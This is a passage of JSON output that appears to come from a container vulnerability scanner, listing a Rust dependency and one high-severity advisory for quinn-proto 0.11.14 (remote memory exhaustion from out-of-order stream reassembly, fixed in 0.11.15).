"pkg:cargo/zvariant_utils@3.3.1", "UID": "71b945f85504497d" }, "Version": "3.3.1", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "serde@1.0.228", "syn@2.0.117", "winnow@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" } ], "Vulnerabilities": [ { "VulnerabilityID": "GHSA-4w2j-m93h-cj5j", "PkgID": "quinn-proto@0.11.14", "PkgName": "quinn-proto", "PkgIdentifier": { "PURL": "pkg:cargo/quinn-proto@0.11.14", "UID": "55f99e7f97f5541f" }, "InstalledVersion": "0.11.14", "FixedVersion": "0.11.15", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-4w2j-m93h-cj5j", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Rust", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Arust" }, "Fingerprint": "sha256:8ea84f6cb72ff9cfe24897a36b1153bd6e4ccf2e65c20a49a63108b8459bbe7e", "Title": "Quinn: Remote memory exhaustion in quinn-proto from unbounded out-of-order stream reassembly", "Description": "## Summary\n\nThe `Assembler` component that assembles unordered stream fragments into consecutive chunks of the stream incurs some overhead for non-contiguous fragments. Readers that read from a `RecvStream` in order (through an `AsyncRead` impl for example) will be sensitive to peers that send fragments while leaving out early parts of the stream, and in particular, fragments with many gaps (because these cannot be defragmented). In such a scenario, the receiving connection suffers from high buffer overhead, enabling memory exhaustion.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://github.com/quinn-rs/quinn", "https://github.com/quinn-rs/quinn/commit/fed0321a9a672819662caab37f5662f1ad91308e", "https://github.com/quinn-rs/quinn/pull/2694", "https://github.com/quinn-rs/quinn/releases/tag/quinn-proto-0.11.15", "https://github.com/quinn-rs/quinn/security/advisories/GHSA-4w2j-m93h-cj5j", "https://rustsec.org/advisories/RUSTSEC-2026-0185.html" ], "PublishedDate": "2026-07-24T14:07:54Z", "LastModifiedDate": "2026-07-24T14:07:54Z" } ] } ] }